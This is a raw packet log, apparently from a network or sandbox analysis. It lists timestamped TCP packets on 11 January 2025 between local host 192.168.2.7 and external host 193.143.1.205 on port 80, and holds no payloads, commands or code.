Jan 11, 2025 05:28:23.968905926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.968920946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968950033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968966961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968985081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.968997002 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.969012022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.969028950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.969039917 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.969054937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.969064951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.969515085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.969531059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.969546080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.969559908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.969573975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.969589949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.969762087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.969811916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.969824076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970009089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970025063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970041990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970053911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.970068932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970082998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.970097065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970113039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970133066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970144033 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.970181942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.970443010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970458031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970484972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970500946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.970510960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970527887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970545053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970557928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.970602989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.970649958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970668077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970684052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970700026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970717907 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.970733881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970746040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.970761061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.970799923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.971457005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.971472025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.971488953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.971503019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.971514940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.971540928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.971549034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.971564054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.971580982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.971599102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.971611023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.971623898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.971642017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.971657991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.971668959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.971688986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.971700907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.971740961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.972281933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.972311020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.972327948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.972345114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.972362041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.972388983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.972414970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.972431898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.972454071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.972466946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.972481012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.972506046 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.977360010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.977376938 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.983361006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.983377934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.983392954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.983409882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.983454943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.983485937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.983520985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.983536005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.983552933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.983586073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.983597040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.983652115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.985165119 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.996958971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.996998072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.997034073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.997056007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.997092962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.997132063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.997154951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:23.997188091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.997221947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:23.997241974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.004595041 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.013854027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.013885021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.013911009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.013943911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.014010906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.014039993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.014069080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.014116049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.014132023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.014851093 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.058023930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058060884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058085918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.058139086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058171988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058193922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.058228016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058263063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058284998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.058336020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058370113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058391094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.058423042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058454037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058480978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.058511972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058561087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.058700085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058732986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058768034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058787107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.058820009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058862925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.058876991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.089003086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089063883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089078903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.089133024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089168072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089188099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.089241028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089274883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089297056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.089370012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089421034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.089442015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089492083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089524984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089550018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.089598894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089633942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089654922 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.089688063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089721918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089741945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.089792013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089834929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089849949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.089883089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089916945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.089936972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.089987993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090022087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090042114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.090075016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090110064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090131998 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.090164900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090198040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090223074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.090255976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090290070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090311050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.090344906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090399981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.090702057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090753078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090786934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090810061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.090842009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090892076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.090920925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090955019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.090990067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091010094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.091041088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091075897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091097116 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.091126919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091164112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091201067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.091228962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091279030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.091609001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091644049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091691017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.091717005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091748953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091784000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091806889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.091856003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091891050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091912985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.091944933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.091980934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092003107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.092034101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092067957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092092037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.092125893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092175007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.092618942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092669964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092704058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092724085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.092773914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092811108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092823982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.092854023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092888117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092906952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.092938900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092972994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.092992067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.093024969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.093060017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.093081951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.093116045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.093164921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.093487978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.093615055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.093647957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.093667984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.093719006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.093751907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.093772888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.093806982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.093842030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.093864918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.093899012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.093933105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.093952894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.093986034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094018936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094041109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.094074011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094125032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.094542027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094594002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094628096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094650984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.094682932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094717026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094737053 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.094769001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094803095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094822884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.094854116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094888926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094909906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.094940901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094974995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.094996929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.095031023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.095082045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.095438004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.095511913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.095546961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.095567942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.095598936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.095633984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.095655918 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.095690012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.095726967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.097887039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.148152113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148216963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148253918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148281097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.148343086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148379087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148403883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.148436069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148483038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.148591042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148623943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148658991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148679018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.148730040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148765087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148787975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.148819923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148864031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148876905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.148910999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148946047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.148967981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.148998976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.149034023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.149053097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.149084091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.149118900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.149127960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.149142981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.149161100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.149177074 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.192277908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192313910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192337990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.192373037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192405939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192425966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.192460060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192495108 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192517042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.192568064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192600965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192620039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.192652941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192686081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192706108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.192754984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192796946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192811012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.192843914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192902088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192917109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.192949057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.192981958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193001986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.193034887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193085909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:28:24.193108082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193144083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 05:28:24.193177938 CET	80	49699	193.143.1.205	192.168.2.7
